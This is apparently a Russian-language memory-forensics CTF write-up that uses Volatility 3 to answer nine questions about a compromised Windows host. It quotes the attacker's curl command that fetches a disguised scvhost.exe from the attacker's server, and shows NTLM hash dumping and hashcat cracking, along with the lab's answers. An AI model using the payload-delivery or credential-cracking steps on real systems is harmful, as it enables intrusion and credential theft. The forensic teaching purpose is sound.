Видео
Исследуем дамп памяти
Установка Volatility 3
Мы будем использовать Volatility 3 для исследования дампа памяти.
Установим его. Я буду устанавливать в каталог ~/apps/volatility3
:
git clone --branch stable https://github.com/volatilityfoundation/volatility3.git
cd volatility3
python3 -m venv env
source env/bin/activate
pip install -r requirements.txt
Мы уже поняли, что перед нами дамп памяти Windows, поэтому нам нужны Symbol Tables от них, потому что без них не получится сканировать память. Скачаем их и установим:
git clone https://github.com/JPCERTCC/Windows-Symbol-Tables.git
mkdir -p ~/.volatility3/symbols
cp -R Windows-Symbol-Tables/symbols/windows ~/.volatility3/symbols
Исследование
Попробуем получить базовую информацию о системе:
$ python3 ~/apps/volatility3/vol.py -f memory_dump.vmem -s ~/.volatility3/symbols windows.info
Volatility 3 Framework 2.7.0
Progress: 100.00 PDB scanning finished
Variable Value
Kernel Base 0xf80638aa5000
DTB 0x1ad000
Symbols file:///home/kiberdruzhinnik/.volatility3/symbols/windows/ntkrnlmp.pdb/8B11040A5928757B11390AC78F6B6925-1.json.xz
Is64Bit True
IsPAE False
layer_name 0 WindowsIntel32e
memory_layer 1 VmwareLayer
base_layer 2 FileLayer
meta_layer 2 FileLayer
KdVersionBlock 0xf80638ea7dc0
Major/Minor 15.17763
MachineType 34404
KeNumberProcessors 2
SystemTime 2023-10-31 13:59:26
NtSystemRoot C:\Windows
NtProductType NtProductWinNt
NtMajorVersion 10
NtMinorVersion 0
PE MajorOperatingSystemVersion 10
PE MinorOperatingSystemVersion 0
PE Machine 34404
PE TimeDateStamp Thu Oct 28 12:04:50 2060
Из этого вывода получаем ответ на вопрос про системное время (вопрос №1) — 2023-10-31 13:59:26
.
Далее стоит посмотреть на сетевые соединения:
$ python3 ~/apps/volatility3/vol.py -f memory_dump.vmem -s ~/.volatility3/symbols windows.netstat
Volatility 3 Framework 2.7.0
Progress: 100.00 PDB scanning finished
Offset Proto LocalAddr LocalPort ForeignAddr ForeignPort State PID Owner Created
0xc40aaa5d7920 TCPv4 192.168.157.144 50044 204.79.197.222 443 ESTABLISHED - - N/A
0xc40aa5ac6530 TCPv4 127.0.0.1 49867 127.0.0.1 49868 ESTABLISHED - - N/A
0xc40aa9005bf0 TCPv4 127.0.0.1 14147 127.0.0.1 49889 ESTABLISHED - - N/A
0xc40aa90e0bf0 TCPv4 127.0.0.1 49889 127.0.0.1 14147 ESTABLISHED - - N/A
0xc40aa6f40b50 TCPv4 127.0.0.1 49868 127.0.0.1 49867 ESTABLISHED - - N/A
0xc40aa6b569a0 TCPv4 192.168.157.144 49772 20.90.152.133 443 ESTABLISHED - - N/A
0xc40aaa8cb8a0 TCPv4 192.168.157.144 50041 216.58.204.78 443 ESTABLISHED - - N/A
0xc40aaa7f79a0 TCPv4 192.168.157.144 50037 192.168.157.151 4545 ESTABLISHED - - N/A
0xc40aa5d25a30 TCPv4 192.168.157.144 50043 142.250.187.206 443 ESTABLISHED - - N/A
0xc40aa912ebe0 TCPv4 192.168.157.144 50042 216.58.204.67 443 ESTABLISHED - - N/A
0xc40aa99986d0 TCPv4 192.168.157.144 50045 13.107.21.200 443 ESTABLISHED - - N/A
Обратим внимание на порт 4545
и IP-адрес 192.168.157.151
. Это и есть адрес атакующего и ответ на вопрос №2.
Далее попробуем вывести список процессов в виде дерева:
python3 ~/apps/volatility3/vol.py -f memory_dump.vmem -s ~/.volatility3/symbols windows.pstree
Среди процессов увидим странный scvhost.exe
, который запущен из каталога C:\Users\BantingFG\Downloads
и маскируется под системный процесс svchost.exe
. Это ответ на вопрос №3.
Из этого же скриншота видим, что процесс был запущен с помощью Powershell с PID 6772
. Это ответ на вопрос №4.
Далее попробуем вывести все строки из памяти:
strings memory_dump.vmem > memstrings.txt
Пробуем грепать по строке scvhost.exe
:
grep scvhost.exe memstrings.txt
И отсюда находим ответ на вопрос №5 о том, как был доставлен малварный файл на машину:
curl -o scvhost.exe http://192.168.157.151:8000/scvhost.exe
Еще попробуем погрепать по IP-адресу атакующего:
grep 192.168.157.151 memstrings.txt
На скриншоте ниже видно, что атакующий пробовал подключаться к FTP-серверу с помощью логинов kalilinux123
, admin
и kali
. Отсюда мы знаем ответ на вопрос №6 про количество пользователей, которые перебрал атакующий — 3
.
Чтобы ответить на вопрос про последний посещенный URL, надо найти в списке процессов идентификатор Google Chrome.
Видим, что родительский PID 8048
. Дампнем все файлы, связанные с этим PID:
python3 ~/apps/volatility3/vol.py -f memory_dump.vmem -s ~/.volatility3/symbols windows.dumpfiles --pid 8048
Теперь ищем файл History
:
$ ls -la | grep History
-rw------- 1 kiberdruzhinnik kiberdruzhinnik 524288 авг 27 12:10 file.0xc40aa9259df0.0xc40aa4ec6be0.SharedCacheMap.History-1.vacb
-rw------- 1 kiberdruzhinnik kiberdruzhinnik 524288 авг 27 12:10 file.0xc40aa9259df0.0xc40aa4ec6be0.SharedCacheMap.History.vacb
-rw------- 1 kiberdruzhinnik kiberdruzhinnik 303104 авг 27 12:10 file.0xc40aa9259df0.0xc40aa915a6d0.DataSectionObject.History-1.dat
-rw------- 1 kiberdruzhinnik kiberdruzhinnik 303104 авг 27 12:10 file.0xc40aa9259df0.0xc40aa915a6d0.DataSectionObject.History.dat
-rw------- 1 kiberdruzhinnik kiberdruzhinnik 262144 авг 27 12:10 file.0xc40aa952e740.0xc40aa66508a0.SharedCacheMap.History-journal.vacb
-rw------- 1 kiberdruzhinnik kiberdruzhinnik 12288 авг 27 12:10 file.0xc40aa952e740.0xc40aa9179c10.DataSectionObject.History-journal.dat
По размеру больше всего подходит файл file.0xc40aa9259df0.0xc40aa4ec6be0.SharedCacheMap.History.vacb
, попробуем открыть его как SQLite базу.
В таблице urls
находим ссылку на stackoverflow.com
:
https://stackoverflow.com/questions/38005341/the-response-content-cannot-be-parsed-because-the-internet-explorer-engine-is-no
— это ответ на вопрос №7.
Еще попробуем запустить hashdump
, чтобы забрать пароли:
$ python3 ~/apps/volatility3/vol.py -f memory_dump.vmem -s ~/.volatility3/symbols windows.hashdump
Progress: 100.00 PDB scanning finished
User rid lmhash nthash
Administrator 500 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
Guest 501 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount 503 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount 504 aad3b435b51404eeaad3b435b51404ee b47a9f2da3e6d7b88213822b52232627
Admin 1001 aad3b435b51404eeaad3b435b51404ee 3dbde697d71690a769204beb12283678
BantingFG 1002 aad3b435b51404eeaad3b435b51404ee 5a4a40e43197cd4dfb7c72e691536e92
Нестандартных пользователя тут два — Admin
и BantingFG
, запишем их хеши в hash.txt
:
3dbde697d71690a769204beb12283678
5a4a40e43197cd4dfb7c72e691536e92
Попробуем сбрутить относительно rockyou
:
hashcat -a 0 -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
И получим пароль пользоваетля BantingFG
— flowers123
для ответа на вопрос №8.
Попробуем ответить на последний вопрос №9 про флаг в PID 5116
. Для этого выгрузим память:
python3 ~/apps/volatility3/vol.py -f memory_dump.vmem -s ~/.volatility3/symbols windows.memmap --pid 5116 --dump
Память дампнулась вот в такой файл:
$ ls -la
...
-rw------- 1 kiberdruzhinnik kiberdruzhinnik 953581568 авг 27 12:40 pid.5116.dmp
Переименуем его в pid.5116.dmp.data
и попробуем открыть с помощью GIMP. Перед нами откроется окно, в котором надо ввести в ширину и высоту 900
для начала, оффсет примерно 9500000
:
Начинаем видеть надпись, пробуем подобрать ширину и высоту и останавливаемся примерно на таких параметрах:
Ответ на вопрос №9 — you_Foundme!
.